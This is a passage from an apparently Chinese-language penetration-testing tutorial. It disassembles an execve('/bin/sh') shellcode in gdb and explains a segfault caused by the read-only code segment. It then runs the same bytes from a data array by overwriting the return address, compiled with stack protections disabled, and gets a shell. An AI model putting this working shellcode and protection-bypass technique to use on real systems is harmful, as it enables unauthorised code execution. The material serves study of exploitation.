- (gdb) b main
- Breakpoint 1 at 0x8048397: file shellcode_asm.c, line 5.
- (gdb) r
- Starting program: /root/pentest/shellcode_asm
- Breakpoint 1, main (argc=1, argv=0xbffff464) at shellcode_asm.c:5
- 5 __asm__
- (gdb) disass main
- Dump of assembler code for function main:
- 0x08048394 <+0>: push %ebp
- 0x08048395 <+1>: mov %esp,%ebp
- => 0x08048397 <+3>: jmp 0x80483b8 <subroutine_call>
- 0x08048399 <+5>: pop %esi
- 0x0804839a <+6>: mov %esi,0x8(%esi)
- 0x0804839d <+9>: xor %eax,%eax
- 0x0804839f <+11>: mov %eax,0xc(%esi)
- 0x080483a2 <+14>: mov %al,0x7(%esi)
- 0x080483a5 <+17>: mov {1}xb,%al
- 0x080483a7 <+19>: mov %esi,%ebx
- 0x080483a9 <+21>: lea 0x8(%esi),%ecx
- 0x080483ac <+24>: lea 0xc(%esi),%edx
- 0x080483af <+27>: int {1}x80
- 0x080483b1 <+29>: xor %ebx,%ebx
- 0x080483b3 <+31>: mov %ebx,%eax
- 0x080483b5 <+33>: inc %eax
- 0x080483b6 <+34>: int {1}x80
- 0x080483b8 <+0>: call 0x8048399 <main+5>
- 0x080483bd <+5>: das
- 0x080483be <+6>: bound %ebp,0x6e(%ecx)
- 0x080483c1 <+9>: das
- 0x080483c2 <+10>: jae 0x804842c
- 0x080483c4 <+12>: add %bh,0x0(%eax)
- 0x080483ca <+18>: pop %ebp
- 0x080483cb <+19>: ret
- End of assembler dump.
- (gdb) x/s 0x080483bd
- 0x80483bd <subroutine_call+5>: "/bin/sh"
- </span>
分析可知,0x8048397到0x80483b8之间的部分,使我们嵌入汇编部分代码。而0x80483bd开始处存放着我们的字符串变量“/bin/sh”。
- <span style="font-size:18px;">root@linux:~/pentest# ./shellcode_asm
- Segmentation fault
- root@linux:~/pentest#
- </span>
为什么会出现段错误呢?原因是我们嵌入的汇编代码要修改自身所在的内存区域,然而由于main()函数所在的段属于代码段,具有只读属性,因此,要对只读的代码段执行写操作必然导致段错误。这里我们采用一个小技巧来绕过这个限制,我们将shellcode放在数据段,用一个全局变量数组来存储shellcode。
- <span style="font-size:18px;">root@linux:~/pentest# cat test.c
- #include <stdio.h>
- char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x89\x46\x0c\x88\x46"
- "\x07\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8"
- "\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";
- int main(void) {
- int ret;
- *(&ret + 2) = (int)shellcode;
- return 0;
- }
- root@linux:~/pentest# gcc -fno-stack-protector -z execstack -g -o test test.c
- root@linux:~/pentest# ./test
- # exit
- root@linux:~/pentest#
- </span>
可以看到,我们的shellcode成功的执行,并且得到命令行。